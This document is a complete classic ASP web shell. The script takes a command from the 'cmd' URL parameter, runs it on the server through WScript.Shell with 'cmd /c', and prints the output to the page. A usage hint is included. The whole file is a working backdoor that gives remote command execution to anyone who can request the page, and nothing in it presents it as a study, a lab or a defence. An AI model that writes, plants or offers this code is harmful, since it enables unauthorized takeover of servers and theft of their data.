<% If Request.QueryString("cmd") <> "" Then Dim shell, exec, output Set shell = Server.CreateObject("WScript.Shell") Set exec = shell.Exec("cmd /c " & Request.QueryString("cmd")) output = exec.StdOut.ReadAll() Response.Write "

" & Server.HTMLEncode(output) & "

" Else Response.Write "Use ?cmd=your_command" End If %>